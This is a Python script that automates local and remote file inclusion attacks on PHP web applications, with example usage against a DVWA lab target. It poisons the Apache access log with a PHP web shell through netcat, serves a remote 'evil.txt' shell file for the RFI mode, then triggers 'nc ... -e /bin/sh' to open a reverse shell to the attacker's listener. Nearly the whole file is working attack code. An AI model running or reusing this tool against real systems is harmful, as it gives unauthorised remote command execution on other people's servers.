#unset QT_QPA_PLATFORM
#sudo echo "export QT_QPA_PLATFORM=offscreen" >> /etc/environment
import warnings
warnings.filterwarnings("ignore")
try:
	from bs4 import BeautifulSoup
	import requests
	import multiprocessing as mp
	from selenium import webdriver
	import time
	import datetime
	import os
	import sys
	from selenium.webdriver.support.ui import WebDriverWait
	from selenium.webdriver.support import expected_conditions as EC
	from selenium.common.exceptions import TimeoutException
	from selenium.webdriver.common.keys import Keys
	from selenium.webdriver.common.by import By
	from selenium.webdriver.support.ui import Select
	
except Exception as ex:
	print("Import Exc : " +str(ex))

class LFT_RFI_automate():
	def __init__(self,target="",base=""):
		try:
			print("\n\n[+]LFI / RFI EXPLOIT - KHAN :")
			self.target=sys.argv[2]
			self.base=sys.argv[1]
			self.target_link=sys.argv[3]
			self.v_param=sys.argv[4]
			self.att_ip=sys.argv[7]
			self.att_port=sys.argv[8]
			if sys.argv[9] == str(1):
				self.add_param=sys.argv[10]
			self.server_domain=""
			if sys.argv[5] == str(0):
				self.login=False
			else :
				self.login=True
			if self.login :
				self.cookie=sys.argv[6]
			self.lfi=True
			try:
				if sys.argv[9] == str(0) and sys.argv[10] == str(0):
					self.lfi=False
			except Exception as ex:
				pass
				

		except Exception as ex:
			print("\n\nException caught : " +str(ex))
			print('\n\nExample : python LFI_RFI.py <target ip> <target Base/Login URL> <target Vulnetable URL> <Target Vul parameter> <Login required (1/0)> <Login cookies> <Attacker IP> <Attacker Lister PORT> <Add params required (1/0)> <add_param_name1=add_param_value1,add_param_name2=add_param_value2> | <LFI (0/1)>')
			print('\n\nExample : python LFI_RFI.py 192.168.1.102 http://192.168.1.102/dvwa/login.php http://192.168.1.102/dvwa/vulnerabilities/fi/ page 1 "security=low;PHPSESSID=5c6uk2gvq4q9ri9pkmprbvt6u2" 192.168.1.102 4444 0')
			print("\nBYE BYE")
			sys.exit()

	def send_exp(self,delay,browser,exp_url):
		print("\n[+]Exploit Sent ")
		time.sleep(delay)
		browser.get(exp_url)
		browser.save_screenshot('Exploit.png')
	def start(self):
		try:
			if self.login :
				browser = webdriver.PhantomJS()
				
				cookie=self.cookie
				cookies=cookie.split(";")
				all_cookies = browser.get_cookies()
				for c in cookies:
					c_name=c.split("=")[0]
					c_value=c.split("=")[1]
					ck={'domain':self.base,'name':c_name,'value':c_value,'httponly': False, 'secure': False,'path':'/dvwa/'}
					browser.delete_cookie(c_name)
					browser.add_cookie(ck)

				browser.get(self.target) #To ensure referer is set
				browser.get(self.target_link)
				
				
			else:
				browser = webdriver.PhantomJS()
				browser.get(self.target)
			html = browser.page_source
			all_cookies = browser.get_cookies()				
			soup = BeautifulSoup(html, "html.parser")
			browser.save_screenshot('screen0.png')
			print("\n[+]Saved Screen shot Post Login / First request")
			if self.lfi:
				print("\n[+]Invoked in LFI mode")
				self.nav_url=self.target_link+"?"+str(self.v_param)+"=<?php echo shell_exec($_GET['cmd']); ?>"
				print("\n[+]Preparing Payload")
				os.system("echo '"+str(self.nav_url) +"' > exp.txt")
				print("\n[+]Payload prepared")
				print("\n[+]Opening Netcat to send payload..... ")
				print("\n\n\t\t")
				os.system("echo 'nc "+self.base+" 80 < exp.txt' > exp.sh")
				os.system("chmod +x exp.sh")
				os.system("./exp.sh")
				print("\n\n")
				print("\n[+]Payload sent")
				print("\n[+]Now sending Payload in 5 sec")
				exp_url=self.target_link+"?"+str(self.v_param)+"=/var/log/apache2/access.log&cmd=nc "+self.att_ip+" "+self.att_port+" -e /bin/sh"
				
				print("\n\n[+]Exploit to be send : " +str(exp_url))
			else:
				print("\n[+]Invoked in RFI mode")
				att_url="http://"+self.att_ip+"/evil.txt"
				os.system("echo '<?php echo shell_exec($_GET['cmd']); ?>' > /var/www/html/evil.txt")
				print("\n\n[+]Evil file created at Attacker machine /var/www/html/evil.txt")
				os.system("sudo -S service apache2 start")
				print("\n\n[+]Apache server started")
				exp_url=self.target_link+"?"+str(self.v_param)+"="+att_url+"&cmd=nc "+self.att_ip+" "+self.att_port+" -e /bin/sh"
				print("\n\n[+]Exploit to be send : " +str(att_url))
			
			p=mp.Process(target=self.send_exp,args=(5,browser,exp_url))
			p.start()
			print("\n[+]Starting NC")
			print("\n[+]Preparing EXploit to send")
			os.system("nc -nlvp 4444")
		except Exception as ex:
			print("\n\n\nExc : "+(str(ex)))
		
		with warnings.catch_warnings():
    			warnings.simplefilter("ignore")

obj=LFT_RFI_automate()
obj.start()


